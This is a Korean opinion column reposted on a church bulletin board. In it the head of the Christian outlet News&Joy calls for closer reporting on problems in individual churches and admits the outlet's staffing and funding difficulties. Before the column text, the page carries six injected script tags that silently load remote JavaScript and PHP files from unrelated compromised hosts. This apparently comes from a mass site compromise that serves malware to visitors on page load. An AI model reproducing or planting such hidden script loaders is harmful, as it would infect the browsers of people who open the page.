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칼럼 [방인성 칼럼] 뉴스앤조이는 교회문제 예리하게 들여다봐야[뉴스앤조이04/14]

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작성자 by 관리자 / 작성일08-04-15 10:41 / 조회 4,724 / 댓글0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    오랜만에 글을 쓴다. 몇 가지 개인적 어려움으로 자제해왔다. 개인 문제는 독자들과 마음을 열고 나눌 것을 기대해본다. 그런데 요즘 <뉴스앤조이>가 자신의 역할에 충실하지 못한 것 같아 조심스럽게 대표로서 반성도 하고 채찍질을 스스로 가하려 한다.
 
지난 4개월 여간 <뉴스앤조이>의 기사 통계를 점검해보면 순수한 개 교회 문제를 다룬 기사는 몇 개 없다. 대부분 사회 문제와 연결되어 있고 더 나아가 정치 문제가 많다. 대선과 총선이라는 정치적 상황을 이해하더라도 개 교회 문제의 기사가 너무 적다. 그렇다고 우리 주변에 교회 문제가 없는 것도 아니다. 교회개혁실천연대 등의 교회 상담업무는 밀려 있고 언론의 도움은 절실하다. 물론 교회 문제가 사회 문제와 연관되는 것은 당연하다. 그러나 사회 문제와 꼭 연결되지 않아 기사로 주목 받기에 부족하다할지라도 개 교회 문제로 고통당하는 성도들을 외면해서는 안 된다. 오히려 <뉴스앤조이>는 소수의 소외당하며 신음하는 약자를 보는 눈과 귀가 있어야 한다.
 
대부분 교회에서 문제가 발생하면 교회 구조상 성도들의 힘은 미약하여 권리를 찾기에 역부족이다. 일반 평신도들은 주변에서 돕지 않으면 불합리한 것에 조금 항의하다 지쳐 순응하거나 심하면 쫓겨나게 된다. 교회 안에 문제가 일어나면 목사를 중심으로 한 지도자들의 힘은 대단하고 폭력적이다. 문제가 발생하지 않을 때는 그 실체를 짐작하기조차 힘들다. 한번 문제가 터지게 되면 자신들의 권위와 기득권 그리고 이익-그들은 하나님의 뜻이라 한다-을 위해 어떤 비윤리적인 행동도 서슴지 않는다.
 
잘못된 권위에 대응하는 투쟁의 방법을 말하라는 것이 아니다. 단지 이들이 하고 싶은 말을 조금이라도 표현해주어야 하고 부당한 것에 상처받은 마음을 위해 호소하는 언론이 되어야 한다는 것이다. 최소한 사실을 사실대로, 더 나아가 진실을 알려야 한다는 것이다. 예수는 그 당시 서민들이 외치고 싶었던 말을 대신 하셨다. 외식하며 힘을 휘두르는 종교지도자들에게 “독사의 자식들아”라고, 당시 예루살렘성전을 보고 “강도의 소굴”이라고! 그래서 “허물어버리라”고, 거리에 서서 표시 내며 기도하는 이들에게 “골방에 들어가라”고, 부자의 많은 헌금을 드린 것보다 가난한 과부의 두 렙돈을 보고 “더 많이 넣었다”고 하셨다.
 
<뉴스앤조이>가 사회 문제에는 눈을 감고 교회 문제만 다루어야 한다는 것으로 오해하지 말기를 바란다. 교회개혁과 사회변혁은 같은 선상에 있다. 교회 안의 문제는 열을 올리는데 사회 문제는 세속적 가치관에 순응하는 사람들을 보며 놀랄 때가 많다. 교회의 목사나 지도자들의 잘못에는 흥분하면서 정치·경제 문제는 교회와는 상관없는 일로 묵인하는 교회개혁은 무의미하다. 독자들은 사회변혁과 함께 교회개혁에 좀 더 집중하여 신음하는 성도들의 목소리를 담아내 주기를 바랄 것이다.
 
회사 내부의 문제도 있음을 시인한다. 경력 있는 기자들(김종희‧이승규 등)이 <미주 뉴스앤조이>로 갔고 현재 한국 <뉴스앤조이>는 신입기자들이 그 자리를 대신해 역량 면에서 힘이 든다. 이승균 편집장은 학업을 병행하며 밤늦게까지 신입직원들과 고생하고 있다. 기자를 키우는 일이 쉽지 않음을 옆에서 지켜보고 있다. 재정적 구조도 이사님들이 힘을 다해 헌신하고 있지만 아직도 열악한 가운데 있다. 대표로서 직원들 보기가 미안하다.
 
그래도 <뉴스앤조이>는 집중력을 갖고 교회 문제를 들여다보는 노력을 해야 한다. 오히려 신음하는 교회들을 사랑으로 가슴에 품고 예수처럼 외쳐야 한다. 교회개혁을 한다는 것은 아프고 힘든 일이지만 기독언론인 <뉴스앤조이>가 스스로 용기를 갖고 해야 한다. 교회개혁은 “하나님도 못한다”는 우스개이야기도 있을 정도로 어렵지만 해야 한다. 건강한 교회가 희망이기 때문이다. 독자들도 이일에 더욱 힘을 모아주기를 호소한다. <뉴스앤조이>여, 힘이 들지만 집중하여 교회개혁을 위한 언론역할에 더 충실하자! 그리하면서 사회의 문제도 용기 있게 나서보자! 독자와 후원자들 그리고 기자들과 함께 ‘교회 희망 만들기’에 전진하는 <뉴스앤조이>가 되어야겠다.
 
방인성/ <뉴스앤조이> 대표‧함께여는교회 목사
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